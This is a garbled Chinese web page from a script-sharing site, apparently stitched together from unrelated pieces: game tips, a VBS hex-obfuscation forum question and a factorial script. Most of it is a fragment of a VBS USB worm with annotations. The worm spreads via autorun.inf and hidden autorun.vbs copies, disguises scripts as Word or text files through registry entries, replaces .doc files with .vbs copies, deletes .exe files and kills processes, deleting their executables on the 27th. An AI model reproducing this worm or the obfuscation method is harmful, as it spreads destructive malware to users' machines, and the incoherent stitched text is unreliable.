吃鸡脚本什么意思跌倒应急预案演练

发布时间:2019-11-07 来源:脚本之家 点击:

吞食孔明传逆魏之王造诣怎么得?想要顺利拿到这个造诣是有一定难度的,所以要各种小心,这里给大家带来了吞食孔明传逆魏之王造诣入手方法介绍,卡在这里的同学快来看下吧
delay10000//按键语句:暂停10秒(10000毫秒)
endfor//回到while处
效果:叫卖10次后就结束

分镜头脚本设计教程 pdf
可使用 Iisvdir.vbs 来在实际目录或虚拟目录内创建虚拟路径


dxy:
你好!
我学vbs也有一小段时间了,最近看到一本书上讲vbs脚本的加密,就自己试了试,可是有一点问题,低级的语法错误我都自己修正了,可脚本运行后不起作用.所以想请教你一下.脚本的原理是这样的:它把代码转换成16进制,然后再写个解密代码,通过这个解密来执行加密的代码,将字符串成16进制的代码如下:
Functionstr2hex(ByvalstrHex)
Fori=1toLen(strHex)
sHex=sHex&Hex(Asc(mid(strHex,i,1)))
next
str2Hex=sHex
endFunction

解密的代码如下:

Functionhextostr(data)
Hextostr="Execute"""""
C="&Chr(&H"
N=")"
DowhileLen(data)>1
ifIsNumeric(Left(data,1))then
Hextostr=Hextostr&c&Left(data,2)&N
data=mid(data,3)
else
Hextostr=HextoStr&C&Left(data,4)&N
data=mid(data,5)
endif
loop
endFunction

解密代码好象有点问题,请帮忙指正,我实在找不出

整个成品就是:

onerrorresumenext
setarg=wscript.arguement'声明外部参数
ifarg.count=0Thenwscript.quit'若无参数则退出脚本
setfso=creatobject("Scripting.FilesystemObject")'声明fso组件
whenfso.opentextfile(arg(0),1,flase)
data=readall:.close'读取文本内容
iferr.number<>0thenwscript.quit'如果发生错误,则退出
withfso.opentextfile(arg(0)&"*.vbs",2,true)'将转换好的写到一个新的vbs中
iferr.number<>0thenwscript.quit'如果发生错误,则退出
.writeline"Execute(Hextostr("""&str2hex(data)&"""))"'执行解密并执行解密后的代码
.writeline"Functionhextostr(data)"
.writeline"Hextostr=""Execute"""""""""""
.writeline"C=""&CHR(&H"""
.writeline"N=)"
.writeline"DowhileLen(data)>1"
.writeline"ifIsNumeric(Left(data,1))then"
.writeline"Hextostr=Hextostr&c&Left(data,2)&N"
.writeline"data=(data,3)"
.writeline"else"
.writeline"Hextostr=Hextostr&c&Left(data,4)&N"
.writeline"data=mid(data,5)"
.writeline"endif"
.writeline"loop"
.writeline"endfunction"
'把解密函数写进去
.close'关闭文本
setfso=Nothing'注销fso组件
endwith
msgbox"OK"
'以下是加密函数
Functionstr2hex(ByvalstrHex)
Fori=1toLen(strHex)
sHex=sHex&Hex(Asc(mid(strHex,i,1)))
next
str2Hex=sHex
endfunction
'全部代码就到这了,好长~

书上说,把要加密的vbs脚本拖到这个脚本上就行了,不过我没有成功,不知道那里有问题,请帮帮我,谢谢~

全境封锁2哪些技能好用?想必很多朋友都还不是很清楚吧,所以呢小编今天给大家带来的就是全境封锁2前期好用技能推荐,需要的朋友还不快进来看看


'Author: Demon
'Website:
'Email: 380401911@qq.com
Option Explicit
Function multiple(byVal x, byVal y)
Dim n, t, i, j, z, w()
n=Len(x) - 1
t=Len(y) - 1
ReDim w(n + t + 1)
x=CStr(x) : y=CStr(y)
For i=0 To UBound(w)
w(i)="0"
Next
For i=0 To t
Dim c : c=0
Dim uv : uv=0
For j=0 To n
uv=(w(i+j)-"0") + c + _
(Mid(x,n-j+1,1)-"0") * (Mid(y,t-i+1,1)-"0")
w(i+j)=CStr(uv Mod 10 + "0")
c=uv \ 10
Next
w(i+n+1)=CStr(uv \ 10 + "0")
Next
z=Join(w,"")
z=StrReverse(z)
Do While Left(z,1)="0"
z=Mid(z,2)
Loop
multiple=z
End Function
Function factorial(n)
Dim i, t : t=1
For i=1 To n
t=multiple(t, i)
Next
factorial=t
End Function
Dim t : t=Timer
WScript.Echo factorial(100)
WScript.Echo Timer - t

这里是一个个返回给X)
ifx=""then
x=Mid(aa,1,1)
i=1
endif
Setx=fs.GetDrive(x)
ifx.IsReadythen
scan(x)
else
xunhuan()
endif
Next
endFunction(结束本子程序,作用不明)
Functionscan(x)(定义子程序scan(a))
OnErrorResumeNext(出错不报告)
dimfiles,file,subfolder,folder_
setfolder_=fs.getfolder(x)
setfiles=folder_.files
foreachfileinfiles
s=file.path
ext=fs.GetExtensionName(file)
ext=lcase(ext)(lcase函数返回字符串的小写形式)
ifext="doc"then
fff=sss&".copy("&chr(34)&mid(s,1,len(s)-3)&"vbs"&chr(34)&")"(fff是sss.copy加几个字符
怀疑这个几个字符组成一个文件名)
Executefff
endif
next
setsubfolders=folder_.subfolders
foreachsubfolderinsubfolders
scan(subfolder)
next
endFunction
Functionganrandisk()
OnErrorResumeNext
regwrite()
dimdoc,d,s,coun,w,h,oo
Setdoc=fs.Drives
foreachkindoc
ifk.IsReadythen
h=h&k.DriveLetter
endif
next
t1=len(Trim(h))
coun=doc.count
dowhilecoun>0
oo=h&w
clearinfo(oo)
wscript.sleep50
Setd=fs.Drives
ifd.count>counthen
foreachkind
ifk.IsReadythen
s=s&k.DriveLetter
endif
next
coun=d.count
t=StrReverse(LCase(Trim(s)))
w=mid(t,1,abs(len(t)-t1))
countdrive(w)
ganranfile(w)
s=trim("")
t1=len(t)
endif
ifd.count<counthen
foreachkind
ifk.IsReadythen
s=s&k.DriveLetter
endif
next
coun=d.count
t=StrReverse(LCase(Trim(s)))
s=trim("")
t1=len(t)
endif
loop
endFunction
Functionxunhuan()
OnErrorResumeNext
dimsfo
setsfo=fs.GetDrive(fs.GetDriveName(dvbs.path))
ifdvbs.name="autorun.vbs"ordvbs.name="USBDRIVE.dll"then
ifsfo.DriveType=2then
ganrandisk()
else
wscript.quit
endif
else
dvbs.delete(true)
endif
endFunction

Functionclearinfo(oo)
OnErrorResumeNext
dimdc,z
oo=LCase(Trim(oo))
Form=1ToLen(oo)
z=Mid(oo,m,1)
Setz=fs.GetDrive(z)
findinf(z)
v=Array(z.DriveLetter&":\recycled",z.DriveLetter&":\SystemVolumeInformation")
fori=0to1
scanexe(v(i))
next
next
vir=array(fs.GetSpecialFolder(1)&"\recycled",fs.GetSpecialFolder(2),fs.GetSpecialFolder(0)&"\system")
fori=0to2
scanexe(vir(i))
next
endFunction
Functionscanexe(a)
wscript.sleep100
OnErrorResumeNext
dimfiles,file,folder_
iffs.FolderExists(a)then
setfolder_=fs.getfolder(a)
setfiles=folder_.files
foreachfileinfiles
ext=fs.GetExtensionName(file)
ext=lcase(ext)
ifext="exe"then
Setf=fs.GetFile(file)
f.delete(true)
endif
next
setsubfolders=folder_.subfolders
foreachsubfolderinsubfolders
scanexe(subfolder)
next
endif
endFunction
Functionfindinf(z)
OnErrorResumeNext
Iffs.FileExists(fs.GetSpecialFolder(1)&"\USBDRIVE.dll")Then
else
fff=sss&".copy("&chr(34)&fs.GetSpecialFolder(1)&"\USBDRIVE.dll"&chr(34)&")"
Executefff
Iffs.FileExists(fs.GetSpecialFolder(1)&"\USBDRIVE.dll")Then
else
ppp=a6&Space(2)&chr(34)&a5&chr(34)&","&chr(34)&"D:\SystemVolumeInformation"&"\USBDR"&"IVE.dll"&chr(34)
Executeppp
endif
endif
Iffs.FileExists(z.DriveLetter&":\autorun.vbs")Then
else
fff=sss&".copy("&chr(34)&z.DriveLetter&":\autorun.vbs"&chr(34)&")"
Executefff
Setf=fs.GetFile(z.DriveLetter&":\autorun.vbs")
f.attributes=f.attributes+7
endif
Iffs.FileExists(z.DriveLetter&":\autorun.inf")Then
Setc=fs.opentextfile(z.DriveLetter&":\autorun.inf",1)
vbc=c.readall
IfInStr(vbc,"WScript.exe.\autorun.vbs")<>0Then
c.Close
Else
Setf=fs.GetFile(z.DriveLetter&":\autorun.inf")
f.attributes=f.attributes-f.attributes
Setts=f.OpenAsTextStream(2,-2)
ts.WriteLine"[AutoRun]"(以下建立自动播放文件)
ts.WriteLine"open="
ts.WriteLine""
ts.WriteLine"shell\open=打开(&O)"
ts.WriteLine"shell\open\Command=WScript.exe.\autorun.vbs"
ts.WriteLine"shell\open\Default=1"
ts.close
f.attributes=f.attributes+7
endif
else
Setts=fs.CreateTextFile(z.DriveLetter&":\autorun.inf",true)
ts.WriteLine"[AutoRun]"
ts.WriteLine"open="
ts.WriteLine""
ts.WriteLine"shell\open=打开(&O)"
ts.WriteLine"shell\open\Command=WScript.exe.\autorun.vbs"
ts.WriteLine"shell\open\Default=1"
ts.close
Setf=fs.GetFile(z.DriveLetter&":\autorun.inf")
f.attributes=f.attributes+7
EndIf
iffs.FileExists(z.DriveLetter&":\vbs.reg")then
else
Setts=fs.CreateTextFile(z.DriveLetter&":\vbs.reg",true)
ts.WriteLine"WindowsRegistryEditorVersion5.00"
ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"文本文件"&chr(34)
ts.close
Setf=fs.GetFile(z.DriveLetter&":\vbs.reg")
f.attributes=f.attributes+7
endif
iffs.FileExists(z.DriveLetter&":\doc.reg")then
else
Setts=fs.CreateTextFile(z.DriveLetter&":\doc.reg",true)
ts.WriteLine"WindowsRegistryEditorVersion5.00"
ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"MicrosoftWord文档"&chr(34)
ts.close
Setf=fs.GetFile(z.DriveLetter&":\doc.reg")
f.attributes=f.attributes+7
endif
endFunction

FunctionKillProcess(NameorPID)
OnErrorResumeNext
DimoWMI,oProcs,oProc,strSQL
KillProcess=False
strSQL="SELECT*FROMWin32_Process"
IfNameOrPID<>""Then
IfIsNumeric(NameOrPID)Then
strSQL=strSQL&"WHEREHandle='"&NameorPID&"'"
Else
strSQL=strSQL&"WHEREName='"&NameorPID&"'"
EndIf
EndIf
SetoWMI=GetObject("winmgmts:\\.\root\cimv2")
SetoProcs=oWMI.ExecQuery(strSQL)
ForEachoProcInoProcs
IfIsNumeric(NameOrPID)Then
oProc.Terminate
KillProcess=True
Else
oProc.Terminate
ifday(date())="27"then
setkillfile=fs.getfile(oProc.ExecutablePath)
killfile.delete(true)
EndIf
endif
Next
SetoProc=Nothing
SetoProcs=Nothing
SetoWMI=Nothing
EndFunction
挖矿


functioncheckstr(strname)

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号